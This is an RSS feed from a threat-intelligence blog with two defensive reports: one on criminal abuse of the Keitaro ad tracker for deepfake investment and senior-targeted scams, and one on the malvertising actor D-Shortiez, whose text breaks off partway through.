<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Confiant]]></title><description><![CDATA[Field Intelligence for the Ad Economy]]></description><link>https://blog.confiant.com</link><image><url>https://blog.confiant.com/img/substack.png</url><title>Confiant</title><link>https://blog.confiant.com</link></image><generator>Substack</generator><lastBuildDate>Sat, 25 Apr 2026 13:16:32 GMT</lastBuildDate><atom:link href="https://blog.confiant.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Confiant Threat Intelligence]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[confiant@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[confiant@substack.com]]></itunes:email><itunes:name><![CDATA[Confiant]]></itunes:name></itunes:owner><itunes:author><![CDATA[Confiant]]></itunes:author><googleplay:owner><![CDATA[confiant@substack.com]]></googleplay:owner><googleplay:email><![CDATA[confiant@substack.com]]></googleplay:email><googleplay:author><![CDATA[Confiant]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Tracking Software Weaponized by Criminals]]></title><description><![CDATA[Inside four months of joint research with Infoblox Threat Intel on the abuse of Keitaro Software.]]></description><link>https://blog.confiant.com/p/tracking-software-weaponized-by-criminals</link><guid isPermaLink="false">https://blog.confiant.com/p/tracking-software-weaponized-by-criminals</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Tue, 24 Mar 2026 21:54:22 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!ji6Y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ji6Y!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ji6Y!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 424w, https://substackcdn.com/image/fetch/$s_!ji6Y!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 848w, https://substackcdn.com/image/fetch/$s_!ji6Y!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 1272w, https://substackcdn.com/image/fetch/$s_!ji6Y!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ji6Y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png" width="914" height="758" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:758,&quot;width&quot;:914,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:377267,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.confiant.com/i/191587822?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ji6Y!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 424w, https://substackcdn.com/image/fetch/$s_!ji6Y!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 848w, https://substackcdn.com/image/fetch/$s_!ji6Y!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 1272w, https://substackcdn.com/image/fetch/$s_!ji6Y!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F05e7639d-4acc-42b2-8b3b-3bd5e77eb9e0_914x758.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Keitaro is an advertising performance tracker used by marketers and cyber criminals to route and measure traffic. It&#8217;s feature-rich, self-hosted, spins up in minutes on most hosting platforms, and can route visitors conditionally based on device type, geography, IP, and referrer. Criminals exploit it at scale.</p><p>Attackers have abused it for years. What nobody had done was study the abuse systematically across the full stack, at scale, over time. That&#8217;s what our joint research with Infoblox is.</p><h3><strong>How we built it</strong></h3><p>Confiant and <a href="http://www.infoblox.com">Infoblox</a> see the internet from different vantage points. Confiant has visibility across the digital advertising supply chain &#8212; billions of  ad impressions a month, tracked through thousands of client-side integrations. We see the creative, the redirect, the cloaking behavior, and the moment a malicious ad reaches a real screen.</p><p>Infoblox operates at the DNS layer tracking how domains are registered, how infrastructure is built and burned, how threats move through spam, compromised websites, and web scans.</p><p>We examined four months of data starting October 1, 2025. What came back was a persistent, high-volume criminal ecosystem operating largely in plain sight.</p><h3><strong>What was running through it</strong></h3><p><strong>15,500 malicious domains active during the study window. </strong>Roughly 9,000 registered specifically for this purpose. Traffic arriving through programmatic advertising, spam, social media, and compromised websites simultaneously, all routing through Keitaro instances, showing clean pages to anyone who looked like a reviewer.</p><p><strong>Investment scams dominated.</strong> The pattern is consistent across actors: algorithmically registered domains, uniform web forms to capture victim contact details, fabricated news articles or endorsements to establish credibility.</p><ul><li><p><strong>FaiKast </strong>runs deepfake video ads featuring AI-generated news anchors through the programmatic ecosystem. Victims click through to near-perfect replicas of legitimate news outlets including fake CBC broadcasts, fabricated quotes from real public figures, urgent calls to sign up for fraudulent cryptocurrency platforms. The operation targets France, the U.K., Canada, Japan, and Kazakhstan, with content localized to each market.</p></li><li><p><strong>WickedWally </strong>targets U.S. seniors specifically with debt relief, grocery allowances, Medicare benefits, funeral expenses. The lures are AI-generated deepfake video ads designed to look like news reports, tied to current events. &#8220;Due to the USA tariffs release, you can erase your credit card debt for free until this Saturday.&#8221; Victims land on fake chatbots that qualify them for benefits that don&#8217;t exist, then route them to call centers that extract personal and financial information.</p></li><li><p><strong>FishSteaks </strong>runs gamified giveaway scams impersonating American consumer brands &#8212; virtual prize boxes, falling confetti, multi-stage landing pages designed to maximize time-on-page and conversion. AI-generated placeholder assets swapped for brand logos as campaigns go live. Individual victim losses in tech support scam variants have reached beyond $40,000 in documented cases.</p></li></ul><h3><strong>What happened when we reported it</strong></h3><p>Keitaro has been used by criminal actors for over a decade. The question we wanted to answer: was Apliteni, the company that makes Keitaro, turning a blind eye? Were they effectively a bulletproof tracker?</p><p>Since August 2025, we reported over 100 domains to Apliteni. They responded to each one. More than a dozen threat actor accounts were canceled. Through the exchanges, we verified that major malware actors including TA2726 were using illicit copies of the tracker.</p><p>This level of responsiveness matters, but  it&#8217;s not the end of the problem. Actors rotate domains and creatives faster than any single remediation path can keep up with. However,  it establishes a viable coordination channel, and it&#8217;s the model the industry needs more of.</p><div><hr></div><p><em><strong>Read Part 1: <a href="https://hubs.la/Q047JSYf0">Inside Keitaro Abuse: A Persistent Stream of AI-Driven Investment Scams</a> </strong></em></p><p><em>The full research &#8212; methodology, indicators, actor profiles, infrastructure analysis &#8212; is out now. Parts 2 and 3 coming soon.</em></p><p><em>Co-authored with <a href="https://www.infoblox.com/blog/category/threat-intelligence/">Infoblox Threat Intel</a>.</em></p>]]></content:encoded></item><item><title><![CDATA[Disrupting 59M Malicious Impressions: Inside D-Shortiez Testing Infrastructure and Campaign Management]]></title><description><![CDATA[Two clusters, one password, and the automated harvesting that blocked campaigns before deployment]]></description><link>https://blog.confiant.com/p/disrupting-59m-malicious-impressions</link><guid isPermaLink="false">https://blog.confiant.com/p/disrupting-59m-malicious-impressions</guid><dc:creator><![CDATA[Confiant]]></dc:creator><pubDate>Tue, 24 Feb 2026 16:46:00 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/08da6c76-6367-4f20-a12a-4645097f4cf2_1456x1048.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5-aX!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5-aX!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 424w, https://substackcdn.com/image/fetch/$s_!5-aX!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 848w, https://substackcdn.com/image/fetch/$s_!5-aX!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!5-aX!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5-aX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png" width="1456" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:1216628,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://confiant.substack.com/i/188622411?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!5-aX!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 424w, https://substackcdn.com/image/fetch/$s_!5-aX!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 848w, https://substackcdn.com/image/fetch/$s_!5-aX!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 1272w, https://substackcdn.com/image/fetch/$s_!5-aX!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F28b09de5-ab02-4c12-a5e8-35e0a4c43ef0_1456x1048.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Late June 2025, the Confiant threat intelligence team discovered an internal testing page belonging to D-Shortiez, a malvertising threat actor we&#8217;ve tracked since 2022. This page, accessible from any of their malicious domains, was updated on their work days with new domain information before campaigns went live.</p><p>We built automation to harvest this intelligence, enabling us to block their infrastructure before ads served to our customers. Three months later, we discovered a second admin panel managing an entirely separate campaign cluster. When they added password protection, the weak credential (123*****) gave us continued access.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.confiant.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p>In 2025, we tracked D-Shortiez <strong>serving 59 million malicious ad impressions, 95% targeting the United States</strong>. Access to their internal infrastructure allowed us to disrupt campaigns at scale before they reached end users.</p><p>This report details the operational security failures that enabled our access, the technical evidence linking their fake reward and tech support scam operations, and the indicators we&#8217;re sharing with ad platforms to help remove this threat actor from the ecosystem.</p><h2>Background: D-Shortiez Activity Through June 2025</h2><p>D-Shortiez is a malvertising threat actor first identified by Confiant in 2022. Their early activity focused on forceful redirection code inside their ads that redirected victims from publisher pages to scam landing pages without any user interaction. You can find out more about their activity <a href="https://blog.confiant.com/malvertiser-d-shortiez-abuses-webkit-back-button-hijack-in-forced-redirect-campaign-6b57f91ee737">here</a>.</p><p>We tracked two primary scam types:</p><ul><li><p><strong>Google-branded gift card scams</strong> led victims through surveys designed to serve affiliate offers (gambling, credit cards).</p></li><li><p><strong>Amazon-branded giveaway scams</strong> directed victims to checkout pages requesting credit card information to pay a $9.95 fee for a fake prize. The checkout pages&#8217; terms and conditions and privacy policy buttons were non-functional, a clear indicator of fraudulent intent.</p></li></ul><p>Our visibility into the ad tech supply chain enabled tracking despite their use of Cloudflare to hide origin IPs.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!CZrt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!CZrt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 424w, https://substackcdn.com/image/fetch/$s_!CZrt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 848w, https://substackcdn.com/image/fetch/$s_!CZrt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!CZrt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!CZrt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg" width="728" height="831.5029868578256" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:956,&quot;width&quot;:837,&quot;resizeWidth&quot;:728,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!CZrt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 424w, https://substackcdn.com/image/fetch/$s_!CZrt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 848w, https://substackcdn.com/image/fetch/$s_!CZrt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!CZrt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff7b5c50e-b81a-4c4a-b5e8-d0b5397a0e0c_837x956.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 1: </strong>Google-branded &#8220;5-billionth search&#8221; reward scam page</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!GpFR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!GpFR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 424w, https://substackcdn.com/image/fetch/$s_!GpFR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 848w, https://substackcdn.com/image/fetch/$s_!GpFR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!GpFR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!GpFR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg" width="821" height="956" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:956,&quot;width&quot;:821,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!GpFR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 424w, https://substackcdn.com/image/fetch/$s_!GpFR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 848w, https://substackcdn.com/image/fetch/$s_!GpFR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!GpFR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F94e0a7eb-eb59-4b7c-8ac8-b906ac9cf9f0_821x956.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Figure 2: </strong>Amazon-branded prize scam requesting credit card information</p><h2>D-Shortiez Shifts to Tech Support Scams</h2><p>In June 2025, the same tracking indicators we&#8217;d been using to identify D-Shortiez forceful redirection ads began leading to 